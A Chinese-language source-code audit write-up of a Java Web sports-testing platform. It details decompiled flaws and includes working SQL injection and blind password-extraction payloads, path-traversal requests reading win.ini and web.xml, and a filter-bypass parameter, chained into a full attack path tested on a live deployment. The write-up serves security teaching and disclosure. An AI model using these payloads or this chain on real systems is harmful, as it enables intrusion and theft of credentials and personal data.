一份 Java Web 源码审计实录:179 个 class 反编译后的攻击面全景
本文记录一次基于源码包的 Java Web 系统安全审计过程。 我没有直接进入黑盒测试,而是按"web.xml 路由 → CFR 反编译 → 数据流追踪"的顺序先建立攻击面全景,再以线上实测对审计结论分级验证。 审计阶段定位到防注入过滤器被注释、权限判断短路、.do 反射链、DAO 层全量Statement 拼接、明文密码导出、任意文件下载等多类缺陷,并逐一给出反编译原文与文件行号;验证阶段实测确
0x00 为什么做代码审计
某次测试的目标是一套体育测试平台(Java Web,JSP+Servlet 传统架构),获取到了源码包。市面上大部分"Java 渗透"文章都是黑盒视角:扫目录、测注入点、绕 WAF。但当源码在手时,黑盒就是自缚手脚。
源码审计回答三个黑盒永远问不出的问题:入口在哪、防护在哪、数据在哪。
0x01 审计第一步:web.xml 是路由地图
拿到源码先别急着翻代码,先看 web.xml。一个 Servlet 项目的攻击面全在这里:哪些 servlet 暴露、哪些过滤器保护、哪个路径免认证。
├── W***ot
│ ├── WEB-INF/web.xml ← 路由地图(首个审计对象)
│ ├── ***Web/ ← JSP 目录
│ ├── ****oid/ ← ****oid 端接口
│ ├── servlet/ ← Servlet 目录
│ └── WEB-INF/classes/ ← 179 个 class(无 .java,需反编译)项目概况:496 个 JSP / 179 个 class / 无 .java 源码;混合栈(Access + SQLServer + MySQL、DWR、JAX-WS)。
发现一:web.xml 里被注释掉的过滤器
web.xml 中 antiSqlInjection 过滤器被整段注释(filter 定义 + mapping 都在 <!-- --> 内):
<!-- <filter>
<filter-name>antiSqlInjection</filter-name>
<filter-class>com.oa.filters.AntiSqlInjectionfilter</filter-class>
</filter>
<filter-mapping>
<filter-name>antiSqlInjection</filter-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping> -->这是什么意思? Servlet 里的 Filter(过滤器)相当于"收费站":请求进来先过过滤器,再进 Servlet。这个过滤器本来叫 AntiSqlInjection(防 SQL 注入),mapping 范围是 *.jsp 和 /*(所有路径)。注释掉 = 收费站拆了 = 所有请求直接裸奔进代码。
审计经验:<!-- --> 是审计弱信号的首选——被注释的代码 = 厂商曾经部署、后来主动放弃的防线。看到注释掉的过滤器/拦截器,就要意识到后面的代码可能长期没有防护地在跑。
⚠️ 注意:这里有个容易误判的坑。源码里注释了,不代表线上也注释了——源码审计只告诉你"这个包的状态",线上长什么样必须实测。
0x02 反编译:CFR 把 179 个 class 变成可读 Java
没有 .java,就反编译。工具选型:CFR 是仍在活跃维护的 Java 反编译器,对老版本 class 兼容性极好:
java -jar cfr-0.152.jar *.class --outputdir decompiled/179 个 class → 164 个 Java 文件。反编译后的审计路径是三层递进:
第一层 路由层:web.xml 谁暴露、谁被过滤器保护
第二层 控制层:Servlet/Action 的权限检查、参数处理
第三层 数据层:DAO / DButil 的 SQL 构造方式(预编译 or 拼接)0x03 审计发现一:***Servlet 的权限检查"短路"逻辑
3.1 原理:权限判断里混入了一个"想拦反而放行"的条件
com.oa.***Servlet.performTask() 的权限判断:
if (!(operType.equals("-1") || operType.equals("1") || operType.equals("911")
|| operType.equals("62") || operType.substring(0, 1).equals("3")
|| (roleList = (String)session.getAttribute("Login_UserRoleList")) == null
|| this.checkRole(operType, roleList))) {
// 无权限 → error.jsp
}这段代码想干什么? 它是 ***servlet 的"门卫"。operType 是请求参数(1=登录、6=查询学生、1006=导入成绩……)。门卫放行三类请求:
- 白名单操作:
operType是 -1 / 1 / 911 / 62 / 以 3 开头 → 不用登录也能做(如登录本身) - 已登录且有角色:session 里有
Login_UserRoleList且包含该 operType 的权限 Login_UserRoleList == null→ 放行 ← 漏洞就在这
为什么这是漏洞? 正常逻辑应该是"未登录(没有角色列表)→ 拦截"。但代码写成 (roleList = session.getAttribute(...)) == null —— 未登录时 session 里没有 Login_UserRoleList 这个属性 → roleList 为 null → 这个条件为 true → 整个 !(...) 为 false → 不拦截,直接放行。
用人话说:门卫的逻辑是"没带工牌的人放行"。攻击者未登录,直接访问 ***servlet?operType=6(查询学生)等非白名单操作,会被放行进业务代码。
# 预期响应分两种:
# - 401 / 跳转登录 → 线上已补了口子——但它修的只是入口,代码缺陷还在
# - 200 + 错误页/数据 → 未修复!未登录可直达业务代码(未打补丁的同款实例)
0x04 审计中发现的一个误报(重要经验)
4.1 "bCheck 未使用"看起来像认证绕过
com.oa.***Servlet.checkPassword:
boolean bCheck = UserDAO.checkUser(userNo, passwd); // bCheck 赋值后从未被引用
User user = UserDAO.getUserByUserNo(userNo);
session.setAttribute("Login_User", (Object)user); // 看起来无条件登录
session.setAttribute("Login_UserRoleList", ...);
this.callPage("/mainFrame.jsp", request, response); // 看起来直接进后台第一眼结论:"checkUser 返回值未使用 → 密码错误也能登录 → 任意用户登录"。这实际上是误报。
4.2 真相:认证藏在异常控制流里
继续看 UserDAO.checkUser 的完整实现,它用抛异常表达失败。再看 performTask 的入口结构:
public void performTask(...) {
try {
...
case 1: this.checkPassword(request, param, response); break;
...
}
catch (Exception ex) { // ← 所有异常在这里被接住
request.setAttribute("message", ex.getMessage()); // "密码错误!" / "该用户编号不存在!"
this.callPage("/***Web/common/error.jsp", request, response); // → 跳错误页
}
}整条执行链:checkPassword → checkUser 密码错 → 抛异常 → 异常向上冒泡 → 被 performTask 的 catch 接住 → 跳 error.jsp。session.setAttribute 根本不会执行。
结论:bCheck 虽然没被读,但密码校验是通过"抛异常中断"实现的,不是真漏洞。线上实测也印证:错误密码一律返回错误页,无法登录。
4.3 复盘教训(比漏洞更值钱)
- Java 里
throw也是控制流——throws Exception的校验函数,失败时不走后续代码 - 审计时要先看校验函数的失败表达方式:
return false(后续要判断) vsthrow(直接中断)是两种完全不同的语义 - "变量赋值后未使用"只是可疑信号,不是漏洞结论——必须追到实际控制流再定性
这个误报后来成了我反编译审计的必备检查项:先看异常,再谈赋值。
0x05 审计发现二:.do 反射调用链("URL 指定代码执行")
5.1 原理:过滤器把"调用哪个类、调哪个方法"交给 URL
com.xql.filter.***Filter.doFilter() 映射 *.do。URL 格式 类名!方法名.do,例如 /StudentAction!getStudentListJson.do。过滤器从 URL 拆出类名方法名后反射执行:
// ***Filter.doFilter
String url = servletRequest.getRequestURI(); // /StudentAction!getStudentListJson.do
str = url.substring(start + 1, url.indexOf(".")); // StudentAction!getStudentListJson
String[] tmp = str.split("!");
className = tmp[0]; // StudentAction
methodName = tmp[1]; // getStudentListJson
// execClass
String className_ = "com.xql.action." + className; // 拼完整类名
Class<?> c = Class.forName(className_); // 反射加载类
Object o = c.newInstance(); // new 实例
Method m1 = o.getClass().getMethod("setRequest", ...); // 把 request 塞给 Action
m1.invoke(o, request);
Method m = o.getClass().getMethod(methodName, new Class[0]); // 取 URL 指定的方法
result = m.invoke(o, new Object[0]); // 反射调用为什么这是洞? 三点叠加:
- 类名、方法名由攻击者控制(URL 里
!前后) - 没有任何登录检查(
getSession(false)后直接执行,没校验用户) - Action 里的 SQL 参数从 request 拿 + DAO 全拼接——看真实 Action(
com/xql/action/StudentAction.java):
public void getStudentListJson() {
String studentNo = this.getRequest().getParameter("studentNo"); // ← 参数从你发的请求里取
String sql = "select * from student where studentNo='" + studentNo + "'"; // ← 拼接
list = new DButil().getReslutList(sql, new int[0]); // ← Statement 执行
}注意一个反直觉的点:反射调用的是无参方法(
new Class[0]),但参数并不是没用——因为 request 对象被setRequest注入进 Action,SQL 参数走this.getRequest().getParameter()拿。"无参方法 + 可注入"不矛盾。
完整利用链:一行 URL = 指定类 + 指定方法 + 传注入参数 + 未认证执行:
/StudentAction!getStudentListJson.do?studentNo=1' and '1'='1
这条响应的含义:studentNo 参数拼接进了 SQL(where studentNo='...'),and '1'='1 恒真 → 反射链真实执行 → 顺带把身份证号、明文口令一起吐出来了。
0x06 审计发现三:DAO 层全部 Statement 拼接 + type 分发接口
6.1 根因:全库 createStatement(拼接 vs 预编译)
com.oa.util.DButil 统一封装所有查询,全库 5 处 createStatement(),没有任何 prepareStatement:
Statement stmt = con.createStatement(); // 拼接 SQL 直接执行先解释两句代码的区别:
写法 A(该系统):拼接。参数直接塞进 SQL 文本:
String sql = "select * from student where studentNo='" + studentNo + "'";攻击者输入 20260101' or '1'='1 时,实际执行的 SQL 变成:
select * from student where studentNo='20260101' or '1'='1' -- 恒真 → 返回全表攻击者的输入把引号闭合了,or '1'='1 成了新的 SQL 代码——输入从"数据"变成了"代码"。
写法 B(正确):预编译占位符:
String sql = "select * from student where studentNo=?";
stmt.setString(1, studentNo); // 参数走独立通道数据库把 ? 当成一个值,攻击者的引号只是字符串内容,永远不会变成 SQL 代码。
一句话:拼接 = 用户输入改 SQL 结构(注入);占位符 = 用户输入永远是数据(安全)。
回到该系统:全库无预编译 = 每个把参数拼进 SQL 的接口都是潜在注入点。只要找到"参数 → SQL → 输出"的闭合链即可利用(6.4 的 queryValue 就是实证;而 6.3 的 type=2/3 因为参数 type 是数字不注入,走的是未授权数据口,两条线不同后果但同出这一根因)。
6.2 type 分发接口:一个参数切出数据口
com.oa.ImportItemServlet(映射 /****oid/ImportItemServlet)是 ****oid 端接口,类里没有任何 session 检查(反编译全文只有 doGet/doPost,无 Login_User 判断)。按 type 参数分发业务:
} else if (type.equals("2")) {
sql = "select * from user"; // ← 用户表全量
...
String passWord = h.get("passWord") == null ? "" : (String)h.get("passWord");
obj.put("password", passWord); // ← 明文密码直接塞 JSON
} else if (type.equals("3")) {
sql = "select st.studentNo,st.name,st.sex,st.gradeNo,st.cardNo,st.IDCard,st.classNo,..."
+ " from student st ..."; // ← 身份证字段也在
}为什么 type 分发是高危扇区:开发者习惯"一个接口多个 type",以为参数能控制行为就安全了,却忘了认证是独立维度——type 参数只是业务分支,没人在分支前加登录检查。


0x06 续:同一根因的第二种后果——管理查询接口 SQL 注入(回显盲注)
6.4 注入点与"存在性回显"
同根因(全库 Statement 拼接),/servlet/***servlet 的管理查询接口存在注入点 queryValue(查询学生成绩时传学号):
"存在性回显"机制(这是盲注成功的关键):
queryValue=210401010001→ 正常回显该学生数据queryValue=210401010001'→ 语法错误,回显异常("不正常回显")queryValue=210401010001' and '1'='1→ 恒真,正常回显(!)- 即:条件为真 → 正常回显;条件为假/报错 → 异常回显 —— 这就是布尔 oracle
6.5 用 EXISTS + left() 逐字符猜密码
-- 确认 EXISTS 子查询可用(用户名存在 → 恒真 → 正常回显)
queryValue=210401010001' and exists(select * from USER where userNo='admin') and '1'='1
-- left() 逐字符盲注:猜密码第一位
queryValue=210401010001' and exists(select * from USER where userNo='admin' and left(passWord,1)='h') and '1'='1
# → 正常回显 → 首字符确实是 h
queryValue=210401010001' and exists(select * from USER where userNo='admin' and left(passWord,1)='l') and '1'='1
# → 异常回显 → 排除 l逐字符遍历直到 left(passWord,10)='完整密码' 命中,即可还原管理员密码(已脱敏)。

0x07 审计发现四:任意文件下载(只防一半的路径过滤)
7.1 原理:只替换 / 不处理 ..
com.oa.CommonFileDownload(映射 /fileDownload,无认证,反编译原文 doGet/doPost 都直通):
String allPathName = request.getParameter("allPathName"); // ← 完全可控
allPathName = allPathName.replaceAll("/", Matcher.quoteReplacement(File.separator));
// ↑ 只把 / 换成 \(Windows 分隔符)
filePath = allPathName.substring(0, allPathName.lastIndexOf(File.separator));
fileName = allPathName.substring(allPathName.lastIndexOf(File.separator) + 1);
this.realPath = request.getSession().getServletContext().getRealPath(filePath);
file = new File(this.realPath, fileName); // ← new File 直接拼
if (file.exists()) { ... 读文件流输出 ... }漏洞原理:开发者以为 replaceAll("/", "\\") 能把所有路径分隔符统一转换,堵住穿越。但只处理了正斜杠——攻击者提交 ..\..\WEB-INF\web.xml(用反斜杠),replaceAll 发现没有 / 可替换,原样保留 ..\,new File(realPath, fileName) 直接拼出越权路径。
这是 Windows 上高频的"防一半"漏洞模式:黑盒里很难猜中这种写法,源码一翻就透。
7.2 线上验证
# ① 读应用核心配置 web.xml
/fileDownload?method=CommonDownload&filePath=WEB-INF&fileName=web.xml
# ② 读系统文件 win.ini(跨出 Web 目录,任意文件读取)
/fileDownload?method=CommonDownload&allPathName=..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini
# ③ 双参数分支(零过滤)同样可穿越
/fileDownload?method=CommonDownload&filePath=&fileName=..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini



这条响应直接证明了源码缺陷的战斗力:
allPathName分支:replaceAll("/", "\\")只处理正斜杠,%5C(编码反斜杠)原样进..\..\穿越 → 读出C:\windows\win.inifilePath+fileName分支:零过滤,fileName直接拼到new File(realPath, fileName)后完成穿越- web.xml 明文读出意味着下一步可读数据库配置文件(dbConfig.properties 等)——任意文件读取直接升级为"凭据面泄露"
0x08 补充:线上的"过滤器绕过"——operType=132 豁免参数
前面说过源码里过滤器被注释,但线上实测发现过滤器其实是启用的(带注入字符的请求返回「参数中含有非法字符」拦截页)。而且这个启用状态的过滤器,可以被一个业务豁免参数整体绕过:
# 实测 1:不带豁免参数,注入被过滤器拦截
/***Web/news/New_detail.jsp?id=1 and 1=1"
# → HTTP 500「参数中含有非法字符」(过滤器拦截)
# 实测 2:加 operType=132,过滤器直接放行
/***Web/news/New_detail.jsp?id=1 and 1=1&operType=132"
# → HTTP 302 → HTTP 200(SQL 真实执行,过滤被绕过!)

实测结果对比(同一目标、同一 payload,唯一区别是多了 operType=132):
请求 | 响应 | 含义 |
| 500 拦截 | 过滤器生效 |
| 302 → 200 | 过滤器被绕过,进入 SQL 执行 |
原理:过滤器的白名单逻辑里,operType=132(某项业务豁免)会把整条请求标记为"不需要过滤"——任何请求附加 operType=132 即可完全绕过 SQL 注入防护。这是"业务豁免参数 = 过滤器后门"的典型模式。黑盒发现这个全靠运气(要试对参数名),审计里扫一眼过滤器的豁免分支就拿到了。
0x09 审计结论:一条完整的攻击链
① type 分发接口(无认证)→ /****oid/ImportItemServlet?type=2/3
↓ 全量用户密码 + 全量学生数据(含身份证)
② 管理查询注入 → queryValue EXISTS+left() 盲注(与①密码交叉验证)
↓
③ 泄露凭据登录 → 进入管理后台
↓
④ fileDownload allPathName → 任意文件读取(只防一半的过滤)
↓
⑤ .do 反射链 / operType=132 过滤器绕过 → 全站注入面代码审计相对黑盒的核心价值:把零散的代码缺陷组织成攻击链,并给出每个缺陷的精确源码定位(哪个文件、哪一行、哪个函数)——提交漏洞时,修复方直接照源码改即可。
0x0A 审计方法论总结
- 先画地图再审计:web.xml → filter → servlet → DAO,快速建立攻击面全景。"被注释的过滤器"是弱信号首选
- 反编译三层递进:路由层(谁暴露)→ 控制层(权限检查)→ 数据层(SQL 构造方式)
- 先看校验函数的失败表达方式:
return falsevsthrow Exception语义完全不同——bCheck未使用被误读成"认证丢弃"就是真实翻车案例(0x04) - 全库搜
createStatement:无预编译 = 注入面全开;顺着"参数 → SQL → 输出"找闭合链 - 路径过滤只防一半是惯例:
replaceAll("/", "\\")这类写法在 Windows 上等于没防 - type 分发接口是高危扇区:一个接口按参数分发多业务,无认证 = 数据口
- 业务豁免参数 = 过滤器后门:
operType=132这类豁免位,是绕过防护最优雅的入口 - 审计 ≠ 可利用:线上验证分"可利用/已加防护"两类记录;但源码缺陷的持久性,决定了审计结论永远有价值